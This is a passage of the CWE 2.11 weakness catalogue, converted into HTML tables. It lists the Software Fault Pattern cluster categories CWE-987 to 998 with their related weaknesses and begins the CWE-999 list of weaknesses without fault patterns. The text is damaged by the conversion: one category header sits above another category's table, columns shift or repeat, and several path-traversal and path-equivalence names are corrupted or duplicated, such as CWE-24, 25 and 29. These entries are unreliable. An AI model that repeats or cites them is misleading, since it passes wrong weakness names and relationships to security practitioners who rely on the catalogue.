<td>ParentOf</td>
<td>🟢</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>888  689</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
<td>888  1044</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>888  1178</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>774</td>
<td>Allocation of File Descriptors or Handles Without Limits or Throttling</td>
<td>888  1191</td>
</tr>
</tbody>
</table>

CWE-987: SFP Secondary Cluster: Multiple Locks/Unlocks

Category ID: 987 (Category) Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Multiple Locks/Unlocks cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>894</td>
<td>SFP Primary Cluster: Synchronization</td>
<td>888 1329</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>585</td>
<td>Empty Synchronized Block</td>
<td>888  927</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>764</td>
<td>Multiple Locks of a Critical Resource</td>
<td>888  1171</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🟢</td>
<td>765</td>
<td>Multiple Unlocks of a Critical Resource</td>
<td>888  1172</td>
</tr>
</tbody>
</table>

CWE-988: SFP Secondary Cluster: Race Condition Window

Category ID: 988 (Category) Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Race Condition Window cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🟢</td>
<td>894</td>
<td>SFP Primary Cluster: Synchronization</td>
<td>888 1329</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-989: SFP Secondary Cluster: Unrestricted Lock

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>362</td>
<td></td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>888 628</td>
</tr>
<tr>
<td>ParentOf</td>
<td>363</td>
<td></td>
<td>Race Condition Enabling Link Following</td>
<td>888 635</td>
</tr>
<tr>
<td>ParentOf</td>
<td>367</td>
<td></td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>888 643</td>
</tr>
<tr>
<td>ParentOf</td>
<td>370</td>
<td></td>
<td>Missing Check for Certificate Revocation after Initial Check</td>
<td>888 650</td>
</tr>
<tr>
<td>ParentOf</td>
<td>638</td>
<td></td>
<td>Not Using Complete Mediation</td>
<td>888 988</td>
</tr>
</tbody>
</table>

CWE-989: SFP Secondary Cluster: Unrestricted Lock

Category ID: 989 (Category) Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>894</td>
<td></td>
<td>SFP Primary Cluster: Synchronization</td>
<td>888 1329</td>
</tr>
<tr>
<td>ParentOf</td>
<td>412</td>
<td></td>
<td>Unrestricted Externally Accessible Lock</td>
<td>888 712</td>
</tr>
</tbody>
</table>

CWE-990: SFP Secondary Cluster: Tainted Input to Command

Category ID: 990 (Category) Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>896</td>
<td></td>
<td>SFP Primary Cluster: Tainted Input</td>
<td>888 1330</td>
</tr>
<tr>
<td>ParentOf</td>
<td>74</td>
<td></td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>888 113</td>
</tr>
<tr>
<td>ParentOf</td>
<td>75</td>
<td></td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
<td>888 116</td>
</tr>
<tr>
<td>ParentOf</td>
<td>76</td>
<td></td>
<td>Improper Neutralization of Equivalent Special Elements</td>
<td>888 116</td>
</tr>
<tr>
<td>ParentOf</td>
<td>77</td>
<td></td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>888 117</td>
</tr>
<tr>
<td>ParentOf</td>
<td>78</td>
<td></td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>888 121</td>
</tr>
<tr>
<td>ParentOf</td>
<td>79</td>
<td></td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>888 131</td>
</tr>
<tr>
<td>ParentOf</td>
<td>80</td>
<td></td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
<td>888 142</td>
</tr>
<tr>
<td>ParentOf</td>
<td>81</td>
<td></td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
<td>888 144</td>
</tr>
<tr>
<td>ParentOf</td>
<td>82</td>
<td></td>
<td>Improper Neutralization of Script in Attributes of IMG Tags in a Web Page</td>
<td>888 146</td>
</tr>
<tr>
<td>ParentOf</td>
<td>83</td>
<td></td>
<td>Improper Neutralization of Script in Attributes in a Web Page</td>
<td>888 147</td>
</tr>
<tr>
<td>ParentOf</td>
<td>84</td>
<td></td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page</td>
<td>888 149</td>
</tr>
<tr>
<td>ParentOf</td>
<td>85</td>
<td></td>
<td>Doubled Character XSS Manipulations</td>
<td>888 151</td>
</tr>
<tr>
<td>ParentOf</td>
<td>86</td>
<td></td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
<td>888 152</td>
</tr>
<tr>
<td>ParentOf</td>
<td>87</td>
<td></td>
<td>Improper Neutralization of Alternate XSS Syntax</td>
<td>888 153</td>
</tr>
<tr>
<td>ParentOf</td>
<td>88</td>
<td></td>
<td>Argument Injection or Modification</td>
<td>888 155</td>
</tr>
<tr>
<td>Nature</td>
<td>Type</td>
<td>ID</td>
<td>Name</td>
<td>Page</td>
</tr>
<tr>
<td>----------</td>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>888 159</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td>888 168</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>888 170</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>888 172</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td>888 177</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
<td>888 181</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
<td>888 183</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>888 190</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>888 192</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>888 193</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td>888 194</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td>888 196</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>105</td>
<td>Struts: Form Field Without Validator</td>
<td>888 198</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td>888 201</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>107</td>
<td>Struts: Unused Validation Form</td>
<td>888 202</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>108</td>
<td>Struts: Unvalidated Action Form</td>
<td>888 204</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>109</td>
<td>Struts: Validator Turned Off</td>
<td>888 205</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>110</td>
<td>Struts: Validator Without Form Field</td>
<td>888 206</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>112</td>
<td>Missing XML Validation</td>
<td>888 210</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
<td>888 211</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td>888 266</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>888 277</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>138</td>
<td>Improper Neutralization of Special Elements</td>
<td>888 284</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>140</td>
<td>Improper Neutralization of Delimiters</td>
<td>888 287</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>141</td>
<td>Improper Neutralization of Parameter/Argument Delimiters</td>
<td>888 289</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>142</td>
<td>Improper Neutralization of Value Delimiters</td>
<td>888 290</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>143</td>
<td>Improper Neutralization of Record Delimiters</td>
<td>888 291</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>144</td>
<td>Improper Neutralization of Line Delimiters</td>
<td>888 293</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>145</td>
<td>Improper Neutralization of Section Delimiters</td>
<td>888 294</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>146</td>
<td>Improper Neutralization of Expression/Command Delimiters</td>
<td>888 296</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>147</td>
<td>Improper Neutralization of Input Terminators</td>
<td>888 297</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>148</td>
<td>Improper Neutralization of Input Leaders</td>
<td>888 298</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>149</td>
<td>Improper Neutralization of Quoting Syntax</td>
<td>888 299</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>150</td>
<td>Improper Neutralization of Escape, Meta, or Control Sequences</td>
<td>888 301</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>151</td>
<td>Improper Neutralization of Comment Delimiters</td>
<td>888 302</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>152</td>
<td>Improper Neutralization of Macro Symbols</td>
<td>888 304</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>153</td>
<td>Improper Neutralization of Substitution Characters</td>
<td>888 305</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>154</td>
<td>Improper Neutralization of Variable Name Delimiters</td>
<td>888 307</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
<td>888 308</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>156</td>
<td>Improper Neutralization of Whitespace</td>
<td>888 309</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>157</td>
<td>Failure to Sanitize Paired Delimiters</td>
<td>888 311</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>158</td>
<td>Improper Neutralization of Null Byte or NUL Character</td>
<td>888 312</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>159</td>
<td>Failure to Sanitize Special Element</td>
<td>888 314</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>160</td>
<td>Improper Neutralization of Leading Special Elements</td>
<td>888 316</td>
</tr>
<tr>
<td>ParentOf</td>
<td>#</td>
<td>161</td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
<td>888 317</td>
</tr>
</tbody>
</table>
### CWE-991: SFP Secondary Cluster: Tainted Input to Environment

**Category ID:** 991 (Category)  
**Status:** Incomplete

#### Description

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>896</td>
<td>SFP Primary Cluster: Tainted Input</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>94</td>
<td>Improper Control of Generation of Code (‘Code Injection’)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>114</td>
<td>Process Control</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>427</td>
<td>Uncontrolled Search Path Element</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>473</td>
<td>PHP External Variable Modification</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-992: SFP Secondary Cluster: Faulty Input Transformation

Category ID: 992 (Category) Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Faulty Input Transformation cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>896</td>
<td>SFP Primary Cluster: Tainted Input</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>622</td>
<td>Improper Validation of Function Hook Arguments</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>673</td>
<td>External Influence of Sphere Definition</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-993: SFP Secondary Cluster: Incorrect Input Handling

Category ID: 993 (Category) Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Incorrect Input Handling cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>896</td>
<td>SFP Primary Cluster: Tainted Input</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>198</td>
<td>Use of Incorrect Byte Ordering</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>229</td>
<td>Improper Handling of Values</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>230</td>
<td>Improper Handling of Missing Values</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>232</td>
<td>Improper Handling of Undefined Values</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>233</td>
<td>Improper Handling of Parameters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>234</td>
<td>Failure to Handle Missing Parameter</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>235</td>
<td>Improper Handling of Extra Parameters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>236</td>
<td>Improper Handling of Undefined Parameters</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>237</td>
<td>Improper Handling of Structural Elements</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-994: SFP Secondary Cluster: Tainted Input to Variable

Category ID: 994 (Category)  Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster.

Relationships

ChildOf  Type  ID  Name  Page
---  ---  ---  ---  ---
   896  SFP Primary Cluster: Tainted Input  888 1330
ParentOf  238  Improper Handling of Incomplete Structural Elements  888 429
ParentOf  239  Failure to Handle Incomplete Element  888 430
ParentOf  240  Improper Handling of Inconsistent Structural Elements  888 430
ParentOf  241  Improper Handling of Unexpected Data Type  888 431
ParentOf  351  Insufficient Type Distinction  888 611
ParentOf  354  Improper Validation of Integrity Check Value  888 619
CWE-997: SFP Secondary Cluster: Information Loss

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>906</td>
<td>SFP Primary Cluster: UI</td>
<td>888 1333</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>356</td>
<td>Product UI does not Warn User of Unsafe Actions</td>
<td>888 621</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>357</td>
<td>Insufficient UI Warning of Dangerous Operations</td>
<td>888 622</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>446</td>
<td>UI Discrepancy for Security Feature</td>
<td>888 761</td>
</tr>
</tbody>
</table>

CWE-998: SFP Secondary Cluster: Glitch in Computation

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>885</td>
<td>SFP Primary Cluster: Risky Values</td>
<td>888 1327</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>128</td>
<td>Wrap-around Error</td>
<td>888 256</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>888 361</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
<td>888 367</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>194</td>
<td>Unexpected Sign Extension</td>
<td>888 375</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
<td>888 377</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>196</td>
<td>Unsigned to Signed Conversion Error</td>
<td>888 380</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>197</td>
<td>Numeric Truncation Error</td>
<td>888 381</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>369</td>
<td>Divide By Zero</td>
<td>888 648</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
<td>888 772</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
<td>888 774</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
<td>888 785</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
<td>888 788</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>475</td>
<td>Undefined Behavior for Input to API</td>
<td>888 799</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>481</td>
<td>Assigning instead of Comparing</td>
<td>888 813</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>486</td>
<td>Comparison of Classes by Name</td>
<td>888 822</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
<td>888 900</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>570</td>
<td>Expression is Always False</td>
<td>888 908</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>571</td>
<td>Expression is Always True</td>
<td>888 911</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>579</td>
<td>J2EE Bad Practices: Non-serializable Object Stored in Session</td>
<td>888 922</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
<td>888 929</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>594</td>
<td>J2EE Framework: Saving Unserializable Objects to Disk</td>
<td>888 936</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>597</td>
<td>Use of Wrong Operator in String Comparison</td>
<td>888 940</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
<td>888 979</td>
</tr>
</tbody>
</table>
CWE-999: Weaknesses without Software Fault Patterns

Objective
CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

View Data
Filter Used:
[contains(name(), 'Weakness')][not(.//Taxonomy_Mapping/@Mapped_Taxonomy_Name='Software Fault Patterns')]

View Metrics

<table>
<thead>
<tr>
<th>Total</th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Views</td>
<td>0</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
<td>out of 245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>720</td>
<td>out of 720</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0</td>
<td>out of 8</td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>v</td>
<td>5</td>
<td>J2EE Misconfiguration: Data Transmission Without Encryption</td>
</tr>
<tr>
<td>v</td>
<td>6</td>
<td>J2EE Misconfiguration: Insufficient Session-ID Length</td>
</tr>
<tr>
<td>v</td>
<td>7</td>
<td>J2EE Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td>v</td>
<td>8</td>
<td>J2EE Misconfiguration: Entity Bean Declared Remote</td>
</tr>
<tr>
<td>v</td>
<td>9</td>
<td>J2EE Misconfiguration: Weak Access Permissions for EJB Methods</td>
</tr>
<tr>
<td>v</td>
<td>11</td>
<td>ASP.NET Misconfiguration: Creating Debug Binary</td>
</tr>
<tr>
<td>v</td>
<td>12</td>
<td>ASP.NET Misconfiguration: Missing Custom Error Page</td>
</tr>
<tr>
<td>v</td>
<td>13</td>
<td>ASP.NET Misconfiguration: Password in Configuration File</td>
</tr>
<tr>
<td>E</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
</tr>
<tr>
<td>v</td>
<td>15</td>
<td>External Control of System or Configuration Setting</td>
</tr>
<tr>
<td>v</td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td>v</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td>v</td>
<td>23</td>
<td>Relative Path Traversal</td>
</tr>
<tr>
<td>v</td>
<td>24</td>
<td>Path Traversal: '../filedir'</td>
</tr>
<tr>
<td>v</td>
<td>25</td>
<td>Path Traversal: '../filedir'</td>
</tr>
<tr>
<td>v</td>
<td>26</td>
<td>Path Traversal: '../dir/filedir'</td>
</tr>
<tr>
<td>v</td>
<td>27</td>
<td>Path Traversal: '../dir/../../filedir'</td>
</tr>
<tr>
<td>v</td>
<td>28</td>
<td>Path Traversal: '../dir/../filedir'</td>
</tr>
<tr>
<td>v</td>
<td>29</td>
<td>Path Traversal: '../dir/filedir'</td>
</tr>
<tr>
<td>v</td>
<td>30</td>
<td>Path Traversal: '../dir..iledir'</td>
</tr>
<tr>
<td>v</td>
<td>31</td>
<td>Path Traversal: '../dir..\filedir'</td>
</tr>
<tr>
<td>v</td>
<td>32</td>
<td>Path Traversal: '...' (Triple Dot)</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>33</td>
<td>33</td>
<td>Path Traversal: '....' (Multiple Dot)</td>
</tr>
<tr>
<td>34</td>
<td>34</td>
<td>Path Traversal: '....//'</td>
</tr>
<tr>
<td>35</td>
<td>35</td>
<td>Path Traversal: '....///'</td>
</tr>
<tr>
<td>36</td>
<td>36</td>
<td>Absolute Path Traversal</td>
</tr>
<tr>
<td>37</td>
<td>37</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
</tr>
<tr>
<td>38</td>
<td>38</td>
<td>Path Traversal: '/absolute/pathname/here'</td>
</tr>
<tr>
<td>39</td>
<td>39</td>
<td>Path Traversal: 'C:dirname'</td>
</tr>
<tr>
<td>40</td>
<td>40</td>
<td>Path Traversal: '%\UNC\share\name' (Windows UNC Share)</td>
</tr>
<tr>
<td>41</td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
</tr>
<tr>
<td>42</td>
<td>42</td>
<td>Path Equivalence: 'filename.' (Trailing Dot)</td>
</tr>
<tr>
<td>43</td>
<td>43</td>
<td>Path Equivalence: 'filename....' (Multiple Trailing Dot)</td>
</tr>
<tr>
<td>44</td>
<td>44</td>
<td>Path Equivalence: 'file.name' (Internal Dot)</td>
</tr>
<tr>
<td>45</td>
<td>45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
</tr>
<tr>
<td>46</td>
<td>46</td>
<td>Path Equivalence: 'filename ' (Trailing Space)</td>
</tr>
<tr>
<td>47</td>
<td>47</td>
<td>Path Equivalence: ' file.name' (Leading Space)</td>
</tr>
<tr>
<td>48</td>
<td>48</td>
<td>Path Equivalence: ' file name' (Internal Whitespace)</td>
</tr>
<tr>
<td>49</td>
<td>49</td>
<td>Path Equivalence: 'filename/' (Trailing Slash)</td>
</tr>
<tr>
<td>50</td>
<td>50</td>
<td>Path Equivalence: '/multiple/leading/slash'</td>
</tr>
<tr>
<td>51</td>
<td>51</td>
<td>Path Equivalence: '/multiple/internal/slash'</td>
</tr>
<tr>
<td>52</td>
<td>52</td>
<td>Path Equivalence: '/multiple/trailing/slash//'</td>
</tr>
<tr>
<td>53</td>
<td>53</td>
<td>Path Equivalence: '/multiple\internal\backslash'</td>
</tr>
<tr>
<td>54</td>
<td>54</td>
<td>Path Equivalence: 'filedir' (Trailing Backslash)</td>
</tr>
<tr>
<td>55</td>
<td>55</td>
<td>Path Equivalence: '/.' (Single Dot Directory)</td>
</tr>
<tr>
<td>56</td>
<td>56</td>
<td>Path Equivalence: 'filedir&quot; (Wildcard)</td>
</tr>
<tr>
<td>57</td>
<td>57</td>
<td>Path Equivalence: 'fakedir/..\realdir/filename'</td>
</tr>
<tr>
<td>58</td>
<td>58</td>
<td>Path Equivalence: Windows 8.3 Filename</td>
</tr>
<tr>
<td>59</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
</tr>
<tr>
<td>62</td>
<td>62</td>
<td>UNIX Hard Link</td>
</tr>
<tr>
<td>64</td>
<td>64</td>
<td>Windows Shortcut Following (.LNK)</td>
</tr>
<tr>
<td>65</td>
<td>65</td>
<td>Windows Hard Link</td>
</tr>
<tr>
<td>66</td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
</tr>
<tr>
<td>67</td>
<td>67</td>
<td>Improper Handling of Windows Device Names</td>
</tr>
<tr>
<td>69</td>
<td>69</td>
<td>Improper Handling of Windows ::DATA Alternate Data Stream</td>
</tr>
<tr>
<td>71</td>
<td>71</td>
<td>Apple ' .DS_Store'</td>
</tr>
<tr>
<td>72</td>
<td>72</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream</td>
</tr>
<tr>
<td>73</td>
<td>73</td>
<td>External Control of File Name or Path</td>
</tr>
<tr>
<td>74</td>
